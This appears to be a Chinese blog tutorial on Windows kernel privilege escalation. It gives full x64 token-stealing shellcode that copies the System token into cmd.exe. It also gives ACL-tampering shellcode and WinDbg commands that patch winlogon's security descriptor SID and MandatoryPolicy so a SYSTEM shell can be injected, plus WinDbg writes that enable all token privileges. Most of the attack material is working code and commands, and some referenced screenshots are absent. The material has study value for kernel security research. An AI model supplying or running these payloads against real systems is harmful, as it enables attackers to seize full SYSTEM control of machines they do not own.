windows kernel提权

发布时间:2025-12-09 12:02:21 浏览次数:2

前置知识推荐:

https://cloud.tencent.com/developer/article/1471233

http://terminus.rewolf.pl/terminus/

https://ntdiff.github.io/#versionLeft=Win7%2Fx64%2FSystem32&filenameLeft=ntoskrnl.exe&typeLeft=Standalone%2F_KPCR&versionRight=Win10_20H2_20H2%2Fx64%2FSystem32&filenameRight=ntoskrnl.exe&typeRight=Standalone%2F_KPCR

令牌窃取

在Windows中令牌窃取是一个常用于权限提升的技术,再利用过程中必须定位EPROCESS结构,一般我

们会使用常量来定位此类结构,比如在GS中0x188为KTHREAD结构,我们可以通过其来定位其他结构,

我们可以先把它放入R9寄存器中:

mov r9, qword ptr gs:[0x188]

目前我们已经在r9中保存了KTHREAD,下面我们可以来定位Process,也就是在KTHREAD的+0x200 处。

转换为汇编就是:

mov r9, qword ptr[r9+0x220]

由于我们要提升父进程的权限,我们需要找到cmd.exe的 ProcessID

转换成汇编就是:

mov r8, qword ptr[r9+0x540]

下面就是找到它的EPROCESS地址,我们可以在偏移 +0x440 和 +0x448 处看到我们有 ProcessID 和ActiveProcessLinks 结构。

后一个值是可以解析的 EPROCESS 对象的链接列表,其中每个 PID 与属于 cmd.exe 的 PID 进行比较,

保存在 r8 寄存器中。

mov rax, r9loop1:mov rax, qword ptr [rax + 0x448]sub rax, 0x448cmp qword ptr[rax + 0x440],r8jne loop1

一旦我们找到了cmd.exe的 EPROCESS 数据结构,我们就可以检查它并在偏移量 0x4b8 处找到 Token 对象。

mov rcx, raxadd rcx, 0x4b8

下面就是在刚才的进程列表中寻找system进程,并复制令牌。

mov rax, r9loop2:mov rax, qword ptr [rax +0x448].sub rax, 0x448cmp [rax + 0x440], 4jne loop2mov rdx, reaxadd rdx, 0x4b8

然后就是覆盖令牌

mov rdx, qword ptr [rdx]mov qword ptr [rcx], rdxret

最后的shellcode

[BITS 64]start:mov r9, [gs:0x188] ;stores KPROCESS/currentThread valuemov r9, [r9+0x220] ;stores EPROCESS as an offset to KTHREADmov r8, [r9+0x540] ;stores InheritedFromUniqueProcessId(cmd.exe PID)mov rax, r9 ;moves cmd's EPROCESS into eaxloop1:mov rax, [rax + 0x448] ;saves the next linked list pointer intoraxsub rax, 0x448 ;gets the KPROCESScmp [rax + 0x440],r8 ;compare the ProcessId with cmd's.jne loop1 ;if not equal, repeatmov rcx, rax ;if equal, saves cmd's EPROCESS into rcxadd rcx, 0x4b8 ;store cmd's token into rcxmov rax, r9 ;moves cmd's EPROCESS into eaxloop2:mov rax, [rax +0x448] ;saves the next linked list pointer intoraxsub rax, 0x448 ;gets the KPROCESScmp byte [rax + 0x440], 4 ;compare the ProcessId with System(4)jne loop2 ;if not equal, repeatmov rdx, rax ;if equal, saves System's EPROCESS intordxadd rdx, 0x4b8 ;stores System's token pointer into rdxmov rdx, [rdx] ;stores System's token value into rdxmov [rcx], rdx ;replace cmd's original token withSystem'sret

windbg操作,查找system进程:

查看其结构:

在0x4b8处为Token其对应的结构体如下:

其RefCnt为0y1010,即十进制的10,你可以看到其为10,但我们需要取反:

然后启动cmd进程:

替换Token:

ACL修改

ACL为Windows安全模型中重要的一环,在windows(1607 (Build 14393))版本之前的系统中,可以使用

SecurityDescriptor置空来实现对ACL的任意操控,比如某个进程以system进程启动,在具有ACL的情况

下我们在没用相关权限的情况下是无法对其进行操作的,但如果将其ACL置空我们便可以对其进行操

作,然后使用如进程注入之类的技术来进行system权限的shell派生,达到权限提升的操作。

拿explorer为例,查看其结构

!process 0 0 explorer.exe

查看Object结构

!object ffffc08f854ca080

其中的ObjectHeader为结构的具体地址,查看其结构:

可以看到在0X028处为安全描述符。而Body处则是指向进程对象的起始位置。你此时查看其描述是无法 看到的:

因为该地址为伪地址,你需要将其第四位置空,简单来说就是用&操作:

其本质为SecurityDescriptor 指针指向 SECURITY_DESCRIPTOR 对象,该对象包含具有一个或多个 ACCESS_ALLOWED_ACE 结构的 DACL:

typedef struct _SECURITY_DESCRIPTOR {UCHAR Revision;UCHAR Sbz1;SECURITY_DESCRIPTOR_CONTROL Control;PSID Owner;PSID Group;PACL Sacl;PACL Dacl;} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;

其中AceCount为0x3,说明其包含3个ACE,其类型皆为ACCESS_ALLOWED_ACE_TYPE,且其中一个用 于S-1-5-18:system。

而如果此时你将其置空的话:

eq 0xffffd28d`fcebc763 0

则会触发蓝屏:

这是因为笔者的测试系统为20H2,在windows的1607 之后增加了缓解ACL置空攻击的手段,其伪代码 如下:

if(ObjectHeader.SecurityDescriptor == NULL && (ObjectType.SecurityRequired ||(ObjectHeader.InfoMask &2) != 0)){BugCheckEx(BAD_OBJECT_HEADER);}

如果想查看ACE的话,可以看到安全描述符的结构(ACE在0x30处):

因为微软并没有提供相关结构,所以只能手工查看:

而我们的目标也就是把S-1-5-18修改为S-1-5-15,即18(0x12) 改成15(0xf)。因为我目前的进程非system 进程,所以查看的话显示的就是15:

所以我换成一个system进程即winlogon进程再来查看:

db ffff9c0a87e44760+48 L1

至于48这个值怎么来的,则是前人总结的结果,而我们只需要修改其为b即可达到我们的效果,修改的信 息:

eb ffff9c0a87e44760+48 b

已变成s-1-5-11。process explore显示如下:

但此时你仍然无法完成利用进程注入派生system进程的过程:

这个跟我们的进程上下文有关,我们可以查看注入进程的Token信息:

dt _Token (poi(ffff818dc050a080+4b8) & fffffffffffffff0)

其中的MandatoryPolicy值为3。而默认winlogon进程的MandatoryPolicy的值为1。

而按照msdn所说只要将其该为0即可注入:

eb (poi(ffff818dc050a080+4b8) & fffffffffffffff0)+0d4 0

此时再进行注入,成功得到system的cmd:

下面就是shellcode的编写了,跟之前的一样通过gs找KTHREAD然后用KTHREAD找EPROCESS

mov r9, [gs:0x188] ;stores KPROCESS/currentThread valuemov r9, [r9+0x220] ;stores EPROCESS as an offset to KTHREADmov rax,r9

然后在5a8处找到ImageFileName:

实现:

mov rax, [rax+448h]procloop:lea rbx, [rax-448h]mov rax, [rax]add rbx, 5a8hcmp dword ptr [rbx], 6c6e6977hjne procloop

找到后就是利用其SecurityDescriptor来将其偏移处的地址改为0:

sub rbx, 458hmov rax, qword ptr [rbx]and rax, 0FFFFFFFFFFFFFFF0hadd rax, 48hmov byte ptr [rax], 0bh

然后就是修改令牌:

add rcx, 4b8hmov rax, qword ptr [rcx]and rax, 0FFFFFFFFFFFFFFF0hadd rax, 0d4hmov byte ptr [rax], 0ret

Token修改

在Token结构体中,有一个名为Privileges的属性,其本质为一个_SEP_TOKEN_PRIVILEGES结构体

而我们则是需要修改该结构体实现权限提升

查看其结构体与其权限:

然后修改我们cmd的结构体:

lkd> eq ffffc70255ded060+0x040 0x0000001f`f2ffffbclkd> eq ffffc70255ded060+0x048 0x0000001f`f2ffffbc

此时已获得所有权限:

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

WINDOWS KERNEL
需要做网站?需要网络推广?欢迎咨询客户经理 13272073477